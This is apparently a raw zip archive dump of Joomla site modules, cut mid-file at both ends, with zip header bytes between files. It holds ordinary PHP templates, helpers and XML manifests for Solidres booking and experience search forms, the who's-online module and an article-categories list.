 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;
?>

<form id="sr-checkavailability-form-<?php echo $module->id ?>"
      action="<?php echo JRoute::_('index.php?option=com_solidres&view=reservationasset&id='.$tableAsset->id.'&Itemid='.$params->get('target_itemid'), false)?>"
      method="GET" class="form-stacked sr-validate solidres-module-checkavailability <?php echo SR_UI ?>"
      onsubmit="this.action = ((Solidres.options.get('AutoScroll') == 1) ? this.action + (this.room_type_id != undefined && this.room_type_id.value != '' ? '#srt_' + this.room_type_id.value : '#form') : this.action)">
    <fieldset>
        <input name="id" value="<?php echo $tableAsset->id ?>" type="hidden" />
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
				    <div class="<?php echo $enableRoomQuantity == 0 ? SR_UI_GRID_COL_9 : ($hideRoomQuantity ? SR_UI_GRID_COL_7 : SR_UI_GRID_COL_6) ?>">
					    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
						    <div class="<?php echo $enableRoomTypeDropdown ? SR_UI_GRID_COL_4 : SR_UI_GRID_COL_6 ?>">
							    <label for="checkin">
								    <?php echo JText::_('SR_SEARCH_CHECKIN_DATE')?>
							    </label>
							    <div class="checkin_module datefield">
								    <?php echo isset($checkin) ?
									    $checkinModule->format($dateFormat, true) :
									    $dateCheckIn->format($dateFormat, true) ?>
								    <i class="fa fa-calendar"></i>
							    </div>
							    <div class="checkin_datepicker_inline_module datepicker_inline" style="display: none"></div>
							    <?php // this field must always be "Y-m-d" as it is used internally only ?>
							    <input type="hidden" name="checkin" value="<?php echo isset($checkin) ?
								    $checkinModule->format('Y-m-d', true) :
								    $dateCheckIn->format('Y-m-d', true) ?>" />
						    </div>
						    <div class="<?php echo $enableRoomTypeDropdown ? SR_UI_GRID_COL_4 : SR_UI_GRID_COL_6 ?>">
							    <label for="checkout">
								    <?php echo JText::_('SR_SEARCH_CHECKOUT_DATE')?>
							    </label>
							    <div class="checkout_module datefield">
								    <?php echo isset($checkout) ?
									    $checkoutModule->format($dateFormat, true) :
									    $dateCheckOut->format($dateFormat, true)
								    ?>
								    <i class="fa fa-calendar"></i>
							    </div>
							    <div class="checkout_datepicker_inline_module datepicker_inline" style="display: none"></div>
							    <?php // this field must always be "Y-m-d" as it is used internally only ?>
							    <input type="hidden" name="checkout" value="<?php echo isset($checkout) ?
								    $checkoutModule->format('Y-m-d', true) :
								    $dateCheckOut->format('Y-m-d', true) ?>" />
						    </div>
						    <?php if ($enableRoomTypeDropdown && !empty($roomTypes)) : ?>
						    <div class="<?php echo SR_UI_GRID_COL_4 ?>">
							    <label><?php echo JText::_('SR_SEARCH_ROOMTYPES') ?></label>
							    <select class="form-control input-block-level" name="room_type_id">
								    <option value=""></option>
								    <?php
								    foreach ($roomTypes as $roomType) :
									    $selected = $prioritizingRoomTypeId == $roomType->id ? 'selected' : '';
									    echo '<option value="' . $roomType->id . '" '.$selected.'>' . $roomType->name . '</option>';
								    endforeach;
								    ?>
							    </select>
						    </div>
						    <?php endif ?>
					    </div>
					</div>
                    <?php if ($enableRoomQuantity) : ?>
				    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_3 : SR_UI_GRID_COL_4 ?>">
					    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
						    <?php if ($hideRoomQuantity == 0) : ?>
						    <div class="<?php echo SR_UI_GRID_COL_3 ?>">
							    <label><?php echo JText::_('SR_SEARCH_ROOMS') ?></label>
							    <select class="form-control input-block-level room_quantity" name="room_quantity">
								    <?php for ($room_num = 1; $room_num <= $maxRooms; $room_num ++) : ?>
									    <option <?php echo $room_num == $roomsOccupancyOptionsCount ? 'selected' : '' ?> value="<?php echo $room_num  ?>"><?php echo $room_num  ?></option>
								    <?php endfor ?>
							    </select>
						    </div>
						    <?php else : ?>
                                <input type="hidden" class="room_quantity" name="room_quantity" value="1" />
						    <?php endif ?>
						    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_12 : SR_UI_GRID_COL_9 ?>">
							    <?php for ($room_num = 1; $room_num <= $maxRooms; $room_num ++) : ?>
								    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
									    <div class="<?php echo SR_UI_GRID_COL_12 ?> room_num_row" id="room_num_row_<?php echo $room_num ?>" style="<?php echo $room_num > 0 ? 'display: none' : '' ?>">
										    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
											    <?php if (!$hideRoomQuantity) : ?>
											    <div class="<?php echo SR_UI_GRID_COL_4 ?> room_num_label">
												    <label>&nbsp;</label>
												    <?php echo JText::_('SR_SEARCH_ROOM') ?> <?php echo $room_num  ?>
											    </div>
											    <?php endif ?>
											    <?php if (($hideRoomQuantity && !$mergeAdultChild) || !$hideRoomQuantity) : ?>
											    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_6 : SR_UI_GRID_COL_4 ?>">
												    <label><?php echo JText::_('SR_SEARCH_ROOM_ADULTS') ?></label>
												    <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][adults]">
													    <?php
													    for ($a = 1; $a <= $maxAdults; $a ++) :
														    $selected = '';
														    if (isset($roomsOccupancyOptions[$room_num]['adults'])
														        &&
														        ($a == $roomsOccupancyOptions[$room_num]['adults'])
														    ) :
															    $selected = 'selected';
														    endif;
														    ?>
														    <option <?php echo $selected ?> value="<?php echo $a ?>"><?php echo $a ?></option>
														    <?php
													    endfor
													    ?>
												    </select>
											    </div>
											    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_6 : SR_UI_GRID_COL_4 ?>">
												    <label><?php echo JText::_('SR_SEARCH_ROOM_CHILDREN') ?></label>
												    <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][children]">
													    <?php
													    for ($c = 0; $c <= $maxChildren; $c ++) :
														    $selected = '';
														    if (isset($roomsOccupancyOptions[$room_num]['children'])
														        &&
														        $c == $roomsOccupancyOptions[$room_num]['children']
														    ) :
															    $selected = 'selected';
														    endif;
														    ?>
														    <option <?php echo $selected ?> value="<?php echo $c ?>"><?php echo $c ?></option>
														    <?php
													    endfor
													    ?>
												    </select>
											    </div>
											    <?php else : ?>
                                                    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
                                                        <label><?php echo JText::_('SR_SEARCH_GUESTS') ?></label>
                                                        <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][guests]">
														    <?php
														    for ($a = 1; $a <= $maxAdults; $a ++) :
															    $selected = '';
															    if (isset($roomsOccupancyOptions[$room_num]['guests'])
															        &&
															        ($a == $roomsOccupancyOptions[$room_num]['guests'])
															    ) :
																    $selected = 'selected';
															    endif;
															    ?>
                                                                <option <?php echo $selected ?> value="<?php echo $a ?>"><?php echo $a ?></option>
															    <?php
														    endfor
														    ?>
                                                        </select>
                                                    </div>
											    <?php endif ?>
										    </div>
									    </div>
								    </div>
							    <?php endfor; ?>
						    </div>
					    </div>
				    </div>
                    <?php endif ?>
				    <div class="<?php echo $enableRoomQuantity == 0 ? SR_UI_GRID_COL_3 : SR_UI_GRID_COL_2 ?>">
					    <div class="action">
						    <label>&nbsp;</label>
						    <button class="btn btn-default btn-block primary" type="submit"><i class="fa fa-search"></i> <?php echo JText::_('SR_SEARCH')?></button>
					    </div>
				    </div>
			    </div>
		    </div>
		</div>
    </fieldset>

    <input type="hidden" name="option" value="com_solidres" />
    <input type="hidden" name="task" value="reservationasset.checkavailability" />
	<input type="hidden" name="Itemid" value="<?php echo $params->get('target_itemid') ?>" />
    <?php echo JHtml::_('form.token'); ?>
</form>PK!�*�#��#mod_sr_checkavailability/helper.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

/**
 * @package		Solidres
 * @subpackage	mod_sr_checkavailability
 * @since		0.1.0
 */
class modSRCheckAvailabilityHelper
{

}PK!N$^X�
�
mod_whosonline/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_whosonline
 *
 * @since  1.5
 */
class ModWhosonlineHelper
{
	/**
	 * Show online count
	 *
	 * @return  array  The number of Users and Guests online.
	 *
	 * @since   1.5
	 **/
	public static function getOnlineCount()
	{
		$db = JFactory::getDbo();

		// Calculate number of guests and users
		$result	     = array();
		$user_array  = 0;
		$guest_array = 0;

		$whereCondition = JFactory::getConfig()->get('shared_session', '0') ? 'IS NULL' : '= 0';

		$query = $db->getQuery(true)
			->select('guest, client_id')
			->from('#__session')
			->where('client_id ' . $whereCondition);
		$db->setQuery($query);

		try
		{
			$sessions = (array) $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$sessions = array();
		}

		if (count($sessions))
		{
			foreach ($sessions as $session)
			{
				// If guest increase guest count by 1
				if ($session->guest == 1)
				{
					$guest_array ++;
				}

				// If member increase member count by 1
				if ($session->guest == 0)
				{
					$user_array ++;
				}
			}
		}

		$result['user']  = $user_array;
		$result['guest'] = $guest_array;

		return $result;
	}

	/**
	 * Show online member names
	 *
	 * @param   mixed  $params  The parameters
	 *
	 * @return  array   (array) $db->loadObjectList()  The names of the online users.
	 *
	 * @since   1.5
	 **/
	public static function getOnlineUserNames($params)
	{
		$whereCondition = JFactory::getConfig()->get('shared_session', '0') ? 'IS NULL' : '= 0';

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(array('a.username', 'a.userid', 'a.client_id')))
			->from('#__session AS a')
			->where($db->quoteName('a.userid') . ' != 0')
			->where($db->quoteName('a.client_id') . ' ' . $whereCondition)
			->group($db->quoteName(array('a.username', 'a.userid', 'a.client_id')));

		$user = JFactory::getUser();

		if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1)
		{
			$groups = $user->getAuthorisedGroups();

			if (empty($groups))
			{
				return array();
			}

			$query->join('LEFT', '#__user_usergroup_map AS m ON m.user_id = a.userid')
				->join('LEFT', '#__usergroups AS ug ON ug.id = m.group_id')
				->where('ug.id in (' . implode(',', $groups) . ')')
				->where('ug.id <> 1');
		}

		$db->setQuery($query);

		try
		{
			return (array) $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return array();
		}
	}
}
PK!H5��	�	!mod_whosonline/mod_whosonline.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_whosonline</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_WHOSONLINE_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Whosonline</namespace>
	<files>
		<filename module="mod_whosonline">mod_whosonline.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_whosonline.ini</language>
		<language tag="en-GB">language/en-GB/mod_whosonline.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="showmode"
					type="list"
					label="MOD_WHOSONLINE_SHOWMODE_LABEL"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="0">MOD_WHOSONLINE_FIELD_VALUE_NUMBER</option>
					<option value="1">MOD_WHOSONLINE_FIELD_VALUE_NAMES</option>
					<option value="2">MOD_WHOSONLINE_FIELD_VALUE_BOTH</option>
				</field>

				<field
					name="filter_groups"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_WHOSONLINE_FIELD_FILTER_GROUPS_LABEL"
					description="MOD_WHOSONLINE_FIELD_FILTER_GROUPS_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!����FF!mod_whosonline/mod_whosonline.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Whosonline\Site\Helper\WhosonlineHelper;

// Check if session metadata tracking is enabled
if ($app->get('session_metadata', true))
{
	$showmode = $params->get('showmode', 0);

	if ($showmode == 0 || $showmode == 2)
	{
		$count = WhosonlineHelper::getOnlineCount();
	}

	if ($showmode > 0)
	{
		$names = WhosonlineHelper::getOnlineUserNames($params);
	}

	require ModuleHelper::getLayoutPath('mod_whosonline', $params->get('layout', 'default'));
}
else
{
	require ModuleHelper::getLayoutPath('mod_whosonline', 'disabled');
}
PK!�CU��mod_whosonline/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>

<div class="mod-whosonline">
	<?php if ($showmode == 0 || $showmode == 2) : ?>
		<?php $guest = Text::plural('MOD_WHOSONLINE_GUESTS', $count['guest']); ?>
		<?php $member = Text::plural('MOD_WHOSONLINE_MEMBERS', $count['user']); ?>
		<p><?php echo Text::sprintf('MOD_WHOSONLINE_WE_HAVE', $guest, $member); ?></p>
	<?php endif; ?>

	<?php if (($showmode > 0) && count($names)) : ?>
		<?php if ($params->get('filter_groups', 0)) : ?>
			<p><?php echo Text::_('MOD_WHOSONLINE_SAME_GROUP_MESSAGE'); ?></p>
		<?php endif; ?>
		<ul class="nav flex-column">
		<?php foreach ($names as $name) : ?>
			<li>
				<?php echo $name->username; ?>
			</li>
		<?php endforeach; ?>
		</ul>
	<?php endif; ?>
</div>
PK!R>^

(mod_articles_categories/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

if (!$list)
{
	return;
}

?>
<ul class="mod-articlescategories categories-module mod-list">
<?php require ModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default') . '_items'); ?>
</ul>
PK!ki����.mod_articles_categories/tmpl/default_items.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

$input  = $app->input;
$option = $input->getCmd('option');
$view   = $input->getCmd('view');
$id     = $input->getInt('id');

foreach ($list as $item) : ?>
	<li<?php if ($id == $item->id && in_array($view, array('category', 'categories')) && $option == 'com_content') echo ' class="active"'; ?>> <?php $levelup = $item->level - $startLevel - 1; ?>
		<a href="<?php echo Route::_(RouteHelper::getCategoryRoute($item->id, $item->language)); ?>">
		<?php echo $item->title; ?>
			<?php if ($params->get('numitems')) : ?>
				(<?php echo $item->numitems; ?>)
			<?php endif; ?>
		</a>

		<?php if ($params->get('show_description', 0)) : ?>
			<?php echo HTMLHelper::_('content.prepare', $item->description, $item->getParams(), 'mod_articles_categories.content'); ?>
		<?php endif; ?>
		<?php if ($params->get('show_children', 0) && (($params->get('maxlevel', 0) == 0)
			|| ($params->get('maxlevel') >= ($item->level - $startLevel)))
			&& count($item->getChildren())) : ?>
			<?php echo '<ul>'; ?>
			<?php $temp = $list; ?>
			<?php $list = $item->getChildren(); ?>
			<?php require ModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default') . '_items'); ?>
			<?php $list = $temp; ?>
			<?php echo '</ul>'; ?>
		<?php endif; ?>
	</li>
<?php endforeach; ?>
PK!����3mod_articles_categories/mod_articles_categories.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_articles_categories</name>
	<author>Joomla! Project</author>
	<creationDate>February 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_ARTICLES_CATEGORIES_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\ArticlesCategories</namespace>
	<files>
		<filename module="mod_articles_categories">mod_articles_categories.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_articles_categories.ini</language>
		<language tag="en-GB">language/en-GB/mod_articles_categories.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES" />
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldprefix="Joomla\Component\Categories\Administrator\Field">
				<field
					name="parent"
					type="modal_category"
					label="MOD_ARTICLES_CATEGORIES_FIELD_PARENT_LABEL"
					extension="com_content"
					filter="integer"
					published=""
					required="true"
					select="true"
					new="true"
					edit="true"
					clear="true"
				/>

				<field
					name="show_description"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORIES_FIELD_SHOW_DESCRIPTION_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="numitems"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORIES_FIELD_NUMITEMS_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_children"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORIES_FIELD_SHOW_CHILDREN_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="count"
					type="list"
					label="MOD_ARTICLES_CATEGORIES_FIELD_COUNT_LABEL"
					description="MOD_ARTICLES_CATEGORIES_FIELD_COUNT_DESC"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="0">JALL</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
					<option value="6">J6</option>
					<option value="7">J7</option>
					<option value="8">J8</option>
					<option value="9">J9</option>
					<option value="10">J10</option>
				</field>

				<field
					name="maxlevel"
					type="list"
					label="MOD_ARTICLES_CATEGORIES_FIELD_MAXLEVEL_LABEL"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="0">JALL</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
					<option value="6">J6</option>
					<option value="7">J7</option>
					<option value="8">J8</option>
					<option value="9">J9</option>
					<option value="10">J10</option>
				</field>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="item_heading"
					type="list"
					label="MOD_ARTICLES_CATEGORIES_TITLE_HEADING_LABEL"
					default="4"
					filter="integer"
					validate="options"
					>
					<option value="1">JH1</option>
					<option value="2">JH2</option>
					<option value="3">JH3</option>
					<option value="4">JH4</option>
					<option value="5">JH5</option>
				</field>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�Q��gg3mod_articles_categories/mod_articles_categories.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

$cacheid = md5($module->id);

$cacheparams               = new \stdClass;
$cacheparams->cachemode    = 'id';
$cacheparams->class        = 'Joomla\Module\ArticlesCategories\Site\Helper\ArticlesCategoriesHelper';
$cacheparams->method       = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams   = $cacheid;

$list       = ModuleHelper::moduleCache($module, $params, $cacheparams);
$startLevel = $list ? reset($list)->getParent()->level : null;

require ModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default'));

PK!@r�"mod_articles_categories/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_categories
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_articles_categories
 *
 * @since  1.5
 */
abstract class ModArticlesCategoriesHelper
{
	/**
	 * Get list of articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$options               = array();
		$options['countItems'] = $params->get('numitems', 0);

		$categories = JCategories::getInstance('Content', $options);
		$category   = $categories->get($params->get('parent', 'root'));

		if ($category !== null)
		{
			$items = $category->getChildren();

			$count = $params->get('count', 0);

			if ($count > 0 && count($items) > $count)
			{
				$items = array_slice($items, 0, $count);
			}

			return $items;
		}
	}
}
PK!c�����,mod_sr_experience_search/tmpl/horizontal.phpnu&1i�<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;
JHtml::stylesheet('plg_solidres_experience/assets/experience.min.css', array(), true);
$input = JFactory::getApplication()->input;
?>
<div class="solidres-module-experience-search <?php echo SR_UI; ?>">
    <form action="<?php echo JRoute::_('index.php?option=com_solidres&task=experiences.search', false); ?>"
          class="form-stacked" method="post">
		<?php if (!empty($categories)):
			$selected = $input->getInt('cat');
			?>
            <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                <div class="<?php echo SR_UI_GRID_COL_12 ?>">
                    <label for="category_id">
						<?php echo JText::_('SR_FIELD_CATEGORY') ?>
                    </label>
                    <select name="category_id" class="input-block-level form-control">
                        <option value=""><?php echo JText::_('SR_FIELD_CATEGORY_SELECT') ?></option>
						<?php foreach ($categories as $category): ?>
                            <option value="<?php echo $category->id; ?>"
								<?php echo $selected == $category->id ? ' selected' : ''; ?>>
								<?php echo $category->name; ?>
                            </option>
						<?php endforeach; ?>
                    </select>
                </div>
            </div>
		<?php endif; ?>

	    <?php if ($rangeByDate): ?>
            <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                <div class="<?php echo SR_UI_GRID_COL_12 ?>">
                    <label>
					    <?php echo JText::_('SR_EXP_SEARCH_FROM_DATE'); ?>
                        <input type="text" id="srFromDate" class="input-block-level form-control"
                               value="<?php echo $fromDateJS; ?>"/>
                        <input type="hidden" name="fromDate" id="srFromDateValue"
                               value="<?php echo $fromDateValue; ?>"/>
                    </label>
                    <label>
					    <?php echo JText::_('SR_EXP_SEARCH_TO_DATE'); ?>
                        <input type="text" id="srToDate" class="input-block-level form-control"
                               value="<?php echo $toDateJS; ?>"/>
                        <input type="hidden" name="toDate" id="srToDateValue" value="<?php echo $toDateValue; ?>"/>
                    </label>
                </div>
            </div>
	    <?php endif; ?>

        <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
			<?php if ($showBaseLocation): ?>
                <div class="<?php echo $colWidth; ?>">
                    <label for="base_location">
						<?php echo JText::_('SR_BASE_LOCATION_LABEL') ?>
                    </label>
					<?php if ($baseLocationFieldType):
						$selected = $input->getString('base_location');
						?>
                        <select name="base_location" class="input-block-level form-control">
							<?php foreach ($baseLocationOptions as $option): ?>
                                <option value="<?php echo htmlspecialchars($option, ENT_COMPAT, 'UTF-8'); ?>"
									<?php echo $selected == $option ? ' selected' : ''; ?>>
									<?php echo $option; ?>
                                </option>
							<?php endforeach; ?>
                        </select>
					<?php else: ?>
                        <input type="text" class="input-block-level form-control" name="base_location"
                               value="<?php echo $input->getString('base_location', $baseLocationDefaultValue); ?>"/>
					<?php endif; ?>
                </div>
			<?php endif; ?>

			<?php if ($showEndLocation): ?>
                <div class="<?php echo $colWidth; ?>">
                    <label for="end_location">
						<?php echo JText::_('SR_END_LOCATION_LABEL'); ?>
                    </label>
					<?php if ($endLocationFieldType):
						$selected = $input->getString('end_location');
						?>
                        <select name="end_location" class="input-block-level form-control">
							<?php foreach ($endLocationOptions as $option): ?>
                                <option value="<?php echo htmlspecialchars($option, ENT_COMPAT, 'UTF-8'); ?>"
									<?php echo $selected == $option ? ' selected' : ''; ?>>
									<?php echo $option; ?>
                                </option>
							<?php endforeach; ?>
                        </select>
					<?php else: ?>
                        <input type="text" class="input-block-level form-control" name="end_location"
                               value="<?php echo $input->getString('end_location', $endLocationDefaultValue); ?>"/>
					<?php endif; ?>
                </div>
			<?php endif; ?>

			<?php if ($showRangeBox && !empty($filterRange)):
				$range = explode('-', $input->getString('range', '-'), 2);
				$minRage = (float) $range[0];
				$maxRage = (float) $range[1];
				?>
                <div class="<?php echo $colWidth; ?>">
                    <label for="range_by_prices">
						<?php echo JText::_('SR_RANGE_BY_PRICES'); ?>
                    </label>
                    <select name="range" class="input-block-level form-control">
                        <option value=""></option>
						<?php foreach ($filterRange as $range):
							$min = $range[0];
							$max = $range[1];
							$selected = $min == $minRage && $max == $maxRage ? ' selected="selected"' : '';
							?>
                            <option value="<?php echo $min . ',' . $max; ?>"<?php echo $selected; ?>>
								<?php
								if ($min > 0.00 && $max > 0.00)
								{
									echo SRExperienceHelper::priceFormat($min) . ' - ' . SRExperienceHelper::priceFormat($max);
								}
                                elseif ($min < 0.01 && $max > 0.00)
								{
									echo '< ' . SRExperienceHelper::priceFormat($max);
								}
                                elseif ($min > 0.00 && $max < 0.01)
								{
									echo '> ' . SRExperienceHelper::priceFormat($min);
								}

								?>
                            </option>
						<?php endforeach; ?>
                    </select>
                </div>
			<?php endif; ?>

            <div class="<?php echo $colWidth; ?>">
                <div class="action">
                    <label for="range_by_prices">
                        &nbsp;
                    </label>
                    <button class="btn btn-block btn-default primary" type="submit"><i
                                class="fa fa-search"></i> <?php echo JText::_('SR_SEARCH') ?></button>
                </div>
            </div>
        </div>
        <input type="hidden" name="Itemid" value="<?php echo (int) $params->get('Itemid'); ?>"/>
		<?php echo JHtml::_('form.token'); ?>
    </form>
</div>PK!�`5���)mod_sr_experience_search/tmpl/default.phpnu&1i�<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;
JHtml::stylesheet('plg_solidres_experience/assets/experience.min.css', array(), true);
$input = JFactory::getApplication()->input;
?>

<div class="solidres-module-experience-search <?php echo SR_UI; ?>">
    <form action="<?php echo JRoute::_('index.php?option=com_solidres&task=experiences.search', false); ?>"
          class="form-stacked" method="post">
        <fieldset>
			<?php if (!empty($categories)):
				$selected = $input->getInt('cat');
				?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
